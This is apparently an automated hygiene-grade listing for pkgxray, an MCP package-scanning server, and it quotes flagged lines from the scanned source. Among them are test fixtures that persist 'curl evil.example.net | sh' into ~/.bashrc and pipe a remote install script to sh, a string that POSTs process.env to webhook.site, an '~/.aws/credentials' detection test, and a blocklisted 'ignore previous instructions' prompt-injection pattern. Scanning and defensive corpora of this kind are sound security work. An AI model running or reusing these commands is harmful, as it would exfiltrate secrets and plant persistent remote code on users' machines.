MCP, MCP server
pkgxray
pkgxray, an MCP server listed in the PlugVet directory.
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High finding. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
INSTALL_REMOTE_SCRIPT SECRETS_PATH_CREDENTIAL AGENT_IGNORE_INSTRUCTIONS
Why this grade
- INSTALL_REMOTE_SCRIPT Medium
Fetches a script from the network and runs it (a pipe to a shell, or an install hook with a URL).
benchmark/corpus/malicious/persistence-bashrc.json, line 9
"postinstall.js": "const fs=require('fs'),os=require('os'),path=require('path');fs.appendFileSync(path.join(os.homedir(),'.bashrc'),'\\ncurl -s https://evil.example.net/x | sh\\n') - SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
examples/hookshot/pkgxrayguard/guard_test.go, line 142
`{"severity":"high","category":"credential-access","rationale":"reads ~/.aws/credentials near a network sink","file":"lib/.telemetry.js"},` + - AGENT_IGNORE_INSTRUCTIONS Medium
Text tells the agent to ignore earlier instructions.
benchmark/corpus/benign/injection-defense-blocklist-doc.json, line 10
"docs/injection-defense.md": "# Prompt Injection Defense\n\nThe sanitizer rejects inputs matching these patterns:\n\n```yaml\nblocked_patterns:\n - \"ignore previous instructions\
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
can delete files.
PERMISSION_DELETE_FILES
bin/pkgxray-cache.js, line 304
fs.unlink(tempPath, () => reject(err));
examples/hookshot/helpers.go, line 25
cmd := exec.Command(bin, args...)
examples/hookshot/pkgxrayguard/guard.go, line 99
cmd := exec.CommandContext(cctx, bin, args...)
Show more
examples/hookshot/pkgxrayguard/mcp.go, line 205
cmd := exec.CommandContext(cctx, bin, "mcp", spec.Ref, "--format", "json")
examples/hookshot/pkgxrayguard/recheck.go, line 96
cmd := exec.CommandContext(cctx, bin, args...)
extensions/models/npm-drift.ts, line 51
const cmd = new Deno.Command(bin, {
src/github.js, line 383
fs.unlink(destination, () => reject(err));
src/install.js, line 221
await fs.rm(path.join(stage, "node_modules/.package-lock.json"), { force: true });
src/install.js, line 239
if (workspace) await fs.rm(workspace, { recursive: true, force: true });
src/mcp-sandbox.js, line 34
const cleanup = () => fs.rmSync(scratchPath, { recursive: true, force: true });
benchmark/corpus/benign/foreground-child-named-watchdog.json, line 4
"note": "The REAL foreground-child watchdog shape (from [email protected], verbatim from npm `foreground-child`), which the minimized foreground-child-watchdog fixture did NOT cover: the
benchmark/corpus/benign/foreground-child-watchdog.json, line 4
"note": "Originally a FALSE POSITIVE from the 2026-07-19 MCP scan ([email protected]): the `foreground-child` zombie-reaper spawns `node -e <static watchdog>` that kills the child if the
browser-extension/auditor.browser.js, line 8892
// Strip comments so a commented-out `# subprocess.call(...)` example doesn't
Install and update
Serious
install fetches a script from the network.
INSTALL_REMOTE_SCRIPT
benchmark/corpus/malicious/persistence-bashrc.json, line 9
"postinstall.js": "const fs=require('fs'),os=require('os'),path=require('path');fs.appendFileSync(path.join(os.homedir(),'.bashrc'),'\\ncurl -s https://evil.example.net/x | sh\\n')
benchmark/corpus/malicious/remote-code-load.json, line 9
"install.sh": "#!/bin/sh\ncurl -fsSL https://evil.example.net/install.sh | sh"
Network
Concern
can reach webhook.site. The description does not name that host. can reach a host that is not written as a fixed address. can reach cdn.jsdelivr.net. The description does not name that host. can reach selftest.local. The description does not name that host. can reach collector.invalid. The description does not name that host. can reach service.invalid. The description does not name that host. can reach api.ipgeolocation.io. The description does not name that host. can reach api.example.com. The
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST NETWORK_NAMED_HOST
browser-extension/popup.js, line 25
"fetch('https://webhook.site/example', { method: 'POST', body: JSON.stringify(process.env) });"
scripts/build-extended-target-list.js, line 66
const req = https.get({
scripts/build-mcp-target-list.js, line 46
const res = await fetch(url, {
Show more
scripts/build-pypi-list.js, line 49
const res = await fetch(url, {
scripts/retest-indexed-btree.js, line 19
const request = https.get(`https://cdn.jsdelivr.net/npm/indexed-btree@${version}/${file}`, response => {
src/sandbox.js, line 569
const up = net.connect(sockPath);
src/sandbox.js, line 804
"const r=http.request({host:p.hostname,port:p.port,method:'POST',path:'http://selftest.local/x',headers:{host:'selftest.local'}});" +
src/sandbox.js, line 806
"const s=net.connect({host:'203.0.113.1',port:80});" +
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_CREDENTIAL
examples/hookshot/pkgxrayguard/guard_test.go, line 142
`{"severity":"high","category":"credential-access","rationale":"reads ~/.aws/credentials near a network sink","file":"lib/.telemetry.js"},` +
examples/hookshot/pkgxrayguard/guard_test.go, line 149
if len(res.Reasons) != 1 || res.Reasons[0] != "[credential-access] reads ~/.aws/credentials near a network sink (lib/.telemetry.js)" {
examples/pkgxray-proxy/bin/proxy.js, line 3
// the .npmrc line developers/CI use to point at the proxy.
Show more
examples/pkgxray-proxy/bin/proxy.js, line 38
'Point npm at the proxy by adding this to .npmrc:',
examples/pkgxray-proxy/src/pkgxray-runner.js, line 42
const childEnv = { ...env };
src/diff.js, line 51
/(?:^|\/)\.npmrc$/
src/github.js, line 98
return process.env.GITHUB_TOKEN || process.env.PKGXRAY_GITHUB_TOKEN || null;
src/install.js, line 107
return { ...env, PATH: [path.dirname(process.execPath), "/usr/bin", "/bin"].join(path.delimiter), HOME: home, USERPROFILE: home, CI: "true", NO_UPDATE_NOTIFIER: "1" };
src/install.js, line 205
const userconfig = path.join(home, "user.npmrc");
src/sandbox.js, line 805
"r.on('error',()=>{});r.end('t=' + process.env.SELFTEST_TOKEN);" +
Agent instructions
Serious
instructions tell the agent to ignore earlier instructions.
AGENT_IGNORE_INSTRUCTIONS
benchmark/corpus/benign/injection-defense-blocklist-doc.json, line 10
"docs/injection-defense.md": "# Prompt Injection Defense\n\nThe sanitizer rejects inputs matching these patterns:\n\n```yaml\nblocked_patterns:\n - \"ignore previous instructions\
docs/design/mcp-adapter-prompt.md, line 120
treats package text - a tool description telling the agent to ignore prior
Obfuscation
Note
a file was over the read cap and was not fully read.
OBFUSCATION_FILE_OVER_READ_CAP
browser-extension/auditor.browser.js, line 1
"use strict";
src/auditor.js, line 1
"use strict";
validation/calibration-2026-07-22/pool-npm-high-impact-1.13.0.json, line 1
["semver","minimatch","debug","ansi-styles","brace-expansion","strip-ansi","ansi-regex","ms","supports-color","chalk","commander","lru-cache","string-width","wrap-ansi","tslib","pi
Show more
validation/results/results.jsonl, line 1
{"package":"chalk","decision":"review","grade":"C+","score":79,"findings":[{"severity":"medium","category":"lonely-maintainer"},{"severity":"info","category":"npm-vs-github-clean"}
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit b25266529c44. can delete files. install fetches a script from the network. can reach webhook.site. The description does not name that host. can reach a host that is not written as a fixed address. can reach cdn.jsdelivr.net. The description does not name that host. can reach selftest.local. The description does not name that host. can reach collector.invalid. The description does not name that host. can reach service.invalid. The description does not name that host. can reach api.ipgeolocation.io. The description does not name that host. can reach api.example.com. The reads a credential or environment file. instructions tell the agent to ignore earlier
Date and source
Date checked:
github.com
Commit graded: b25266529c446812a9275927c255bd161cf6a3c5
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.